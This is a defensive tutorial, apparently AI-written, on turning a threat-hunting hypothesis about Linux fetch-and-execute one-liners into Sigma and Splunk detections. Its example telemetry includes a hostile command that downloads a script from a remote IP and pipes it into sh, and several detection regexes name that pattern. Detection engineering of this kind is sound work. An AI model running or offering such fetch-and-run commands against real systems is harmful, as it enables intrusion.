Build a threat-hunting hypothesis and convert it into a detection

TL;DR — A good threat hunt starts as a narrow, testable statement about attacker behavior in data you already collect, not a vague search for "bad stuff." If the hunt finds real signal, turn the exact logic into a detection by adding scope limits, baselining, allowlists, severity, and response instructions; most failed detections come from skipping those hardening steps. Reading time: ~7 min

What it is and where it sits

In XDR terms, threat hunting sits between raw telemetry collection and production alerting. It is the manual or semi-manual layer where you ask: "If an attacker used technique X in our environment, what observable traces would that leave in process, network, auth, or cloud logs?" The output is not just findings. The durable output is a detection candidate.

A hunting hypothesis is the unit of work. It should be falsifiable and tied to telemetry fields you can actually query. Bad: "hunt for credential theft." Better: "If a user runs a browser credential store dumper on a Linux workstation, we should see a non-browser process reading ~/.config/google-chrome/Default/Login Data followed by outbound connections to a new domain within 5 minutes."

Where it lives in the architecture:

• Data sources feed your SIEM/XDR/search backend: EDR process events, DNS logs, proxy logs, auth logs, cloud audit logs.
• The hunt runs as an ad hoc query, notebook, saved search, or timeline.
• A successful hunt becomes a scheduled analytic rule, correlation search, or EDR custom detection.
• The detection then feeds alerting, case management, and response automation.

What it replaces: mostly ad hoc intuition and one-off incident-specific searches. It does not replace IOC matching, but it is usually what catches activity before an IOC exists.

[Endpoint Logs] ---->
                  |
                  v
[Log Pipeline] ---- 1. normalize ----> [Search/XDR]
                                          |
                                          | 2. hypothesis query
                                          v
                                     [Threat Hunt]
                                          |
                        3. validated logic| 4. findings/context
                                          v
                                   [Detection Rule] ----> [Alert/Case]

The key architectural point: a hunt can use messy, expensive, analyst-friendly logic. A production detection usually cannot. Promotion means rewriting for stability, cost, and triage quality.

How it actually works

Walk one realistic example end to end: detecting suspicious use of curl or wget to fetch and execute a remote script on Linux endpoints.

This is common enough to matter, specific enough to test, and visible in standard EDR process telemetry.

Step 1: write the hypothesis

Hypothesis:

"If an attacker gains shell access on a Linux host and stages tooling with a one-liner, we will observe a shell process spawning curl or wget, piping output into sh or bash, or writing to /tmp and executing shortly after. In our fleet, legitimate automation should be limited to known service accounts and deployment paths."

That gives you:

• actor shape: interactive shell or script runner
• process chain: bash/sh -> curl|wget -> sh|bash or temp-file execution
• environment constraints: Linux only
• likely false positives: bootstrap scripts, config management, CI runners

Step 2: query the telemetry broadly first

Start wide. Don’t optimize too early.

Example pseudo-query in a generic EDR/SIEM style:

SELECT timestamp, host, user, parent_process, process_name, command_line
FROM process_events
WHERE os = 'linux'
  AND process_name IN ('curl', 'wget', 'bash', 'sh')
  AND (
    command_line ILIKE '%curl%|%sh%'
    OR command_line ILIKE '%wget%|%bash%'
    OR command_line ILIKE '%/tmp/%'
  )
ORDER BY timestamp DESC
LIMIT 200;

If your backend supports regex, use it to catch shell pipes more precisely:

(curl|wget).*(\||;|&&).*(sh|bash)|(/tmp/[^ ]+.*(sh|bash)?|chmod \+x /tmp/)

You are looking for output shape like this:

[
  {
    "timestamp": "2026-10-30T09:14:22Z",
    "host": "prod-api-07",
    "user": "www-data",
    "parent_process": "/bin/sh",
    "process_name": "curl",
    "command_line": "curl -fsSL http://198.51.100.24/bootstrap.sh | sh"
  },
  {
    "timestamp": "2026-10-30T09:14:23Z",
    "host": "prod-api-07",
    "user": "www-data",
    "parent_process": "/bin/sh",
    "process_name": "sh",
    "command_line": "sh"
  }
]

That is enough to pivot.

Step 3: validate whether it is actually suspicious

Now inspect the host, user, parent, and destination.

Questions to answer with queries, not vibes:

• Is www-data expected to launch outbound network tools?
• Has this host contacted 198.51.100.24 before?
• Is the parent process a deployment agent, package manager, or app exploit chain?
• Did a temp-file execute right after download?

Correlate process and network telemetry:

SELECT p.timestamp, p.host, p.user, p.command_line, n.dest_ip, n.dest_port, n.dest_domain
FROM process_events p
JOIN network_events n
  ON p.host = n.host
 AND n.timestamp BETWEEN p.timestamp AND p.timestamp + INTERVAL '5 minutes'
WHERE p.os = 'linux'
  AND p.process_name IN ('curl','wget')
  AND p.command_line ILIKE '%http%'
  AND p.user NOT IN ('deploy','ansible','root-bootstrap');

Suppose you get:

{
  "host": "prod-api-07",
  "user": "www-data",
  "command_line": "curl -fsSL http://198.51.100.24/bootstrap.sh | sh",
  "dest_ip": "198.51.100.24",
  "dest_port": 80,
  "dest_domain": null
}

That is a strong candidate because:

• service account context is unusual
• direct IP over HTTP, not HTTPS
• shell pipe execution
• web server account doing it

Step 4: reproduce the behavior in a lab to tighten the logic

Do this on a non-production Linux VM with your endpoint telemetry enabled.

⚠️ Running remote-script execution patterns can trigger real detections or execute untrusted code. Use a disposable lab VM and a harmless local web server you control.

Serve a benign script locally:

mkdir -p /tmp/hunt-lab
cat >/tmp/hunt-lab/bootstrap.sh <<'EOF'
#!/bin/sh
echo "hello from lab"
EOF
cd /tmp/hunt-lab && python3 -m http.server 8080

In another shell:

curl -fsSL http://127.0.0.1:8080/bootstrap.sh | sh
echo $?

Expected output:

hello from lab
0

Now test a common failure mode so you know what benign broken automation looks like:

curl -I http://127.0.0.1:8080/missing.sh
echo $?

Typical output shape:

HTTP/1.0 404 File not found
Server: SimpleHTTP/0.6 Python/3.12.3
Date: Thu, 30 Oct 2026 09:31:12 GMT
Connection: close
Content-Type: text/html;charset=utf-8
Content-Length: 335
0

Important edge case: curl exits 0 here because -I fetched headers successfully. If you rely only on exit code, you will miss failed downloads that still indicate attacker intent. If you add -f, you get a non-zero exit:

curl -fsSL http://127.0.0.1:8080/missing.sh | sh
echo $?

Typical output:

curl: (22) The requested URL returned error: 404
0

Another subtlety: the shell may still exit 0 unless set -o pipefail is used. That is why process-chain telemetry is often more reliable than script exit codes.

Step 5: convert the hunt into a detection

Now narrow it to the behavior you actually care about.

Detection logic:

• Linux only
• process command line matches remote fetch + shell pipe, or fetch to /tmp followed by execution within 2 minutes
• exclude known automation users, CI runners, package managers, and approved domains
• raise severity if parent is apache2, nginx, php-fpm, java, or another internet-facing service

A good production detection adds:

• title and rationale
• exact fields required
• suppression window
• triage steps
• response action recommendation

If your first hunt found 30 hits and 29 were config management, the hunt succeeded. The raw query is not the detection. The tuned query is.

When to use it (and when not to)

You probably don’t need a formal hunt if the problem is already deterministic and low-noise, like "alert on root login over SSH from the public internet where MFA is disabled." That is just a detection engineering task.

Trade-offs

Benefit and cost come together here:

• Better coverage for novel attacker behavior
  • Cost: analyst time, query cost, and iteration against false positives
• Detections grounded in your environment instead of vendor defaults
  • Cost: you own maintenance when admin workflows or tooling change
• Higher-confidence alerts because you validated the pattern manually
  • Cost: slower time to first alert than shipping a broad canned rule
• Richer triage context from the original hunt pivots
  • Cost: more complex rule logic, joins, and dependencies on multiple data sources
• Less reliance on static IOCs
  • Cost: behavior-based rules can be noisy in dev, CI, and admin-heavy environments

The biggest operational burden is drift. A detection built from a successful hunt decays when new deployment tooling, service accounts, or package mirrors appear. Put an owner on it and review hit samples monthly.

In practice

Example 1: Sigma-style process detection for Linux remote-script execution

title: Linux Remote Script Piped to Shell
id: 7b7b2b3d-remote-script-pipe
status: experimental
logsource:
  product: linux
  category: process_creation
detection:
  selection_cmd:
    CommandLine|re: '(curl|wget).*(\||;|&&).*(sh|bash)'
  selection_tmp:
    CommandLine|re: '((curl|wget).*(/tmp/|/var/tmp/))|(chmod \+x (/tmp/|/var/tmp/).*)'
  condition: selection_cmd or selection_tmp
falsepositives:
  - bootstrap scripts from approved automation
  - CI runners fetching internal installers
level: high
fields:
  - Image
  - ParentImage
  - CommandLine
  - User
  - Hostname

What it does: catches the broad behavior before backend-specific translation. Gotcha: Sigma regex support varies by target; test the generated query because escaping for | and backslashes often changes across backends.

Example 2: Splunk-style correlation search with basic allowlisting

index=edr sourcetype=process_events os=linux
(process_name=curl OR process_name=wget OR process_name=sh OR process_name=bash)
| eval suspicious=if(match(command_line, "(curl|wget).*(\||;|&&).*(sh|bash)"), 1, 0)
| eval temp_exec=if(match(command_line, "(/tmp/|/var/tmp/).*"), 1, 0)
| search suspicious=1 OR temp_exec=1
| lookup approved_script_fetch_users user OUTPUT user as approved_user
| where isnull(approved_user)
| stats min(_time) as first_seen values(parent_process) as parent values(command_line) as cmd by host user
| convert ctime(first_seen)

What it does: turns the hunt into a reportable detection candidate and suppresses known automation users through a lookup. Gotcha: user-only allowlists are dangerous; if deploy gets compromised, you just blinded yourself. Prefer user + host group + destination constraints where possible.

Example 3: Lab command to generate telemetry safely

set -o pipefail
python3 -m http.server 8080 --directory /tmp/hunt-lab &
server_pid=$!
trap 'kill $server_pid' EXIT
curl -fsSL http://127.0.0.1:8080/bootstrap.sh | sh
printf 'curl_exit=%s\n' "$?"

What it does: generates the exact process pattern while preserving pipeline failure semantics with pipefail. Gotcha: without set -o pipefail, your shell may report success even when curl failed, which can mislead both your test notes and any script-based validation.

Further reading

• Sigma Rule Specification
• MITRE ATT&CK, especially Command and Scripting Interpreter and Ingress Tool Transfer
• The "Processes" and "Event Correlation" sections of your EDR query language docs
• Applied Incident Response by Steve Anson
• The "Logging Cookbook" and detection engineering sections in vendor-neutral SOC playbooks

This article was written by an AI system and published pending human review. Verify anything you intend to act on.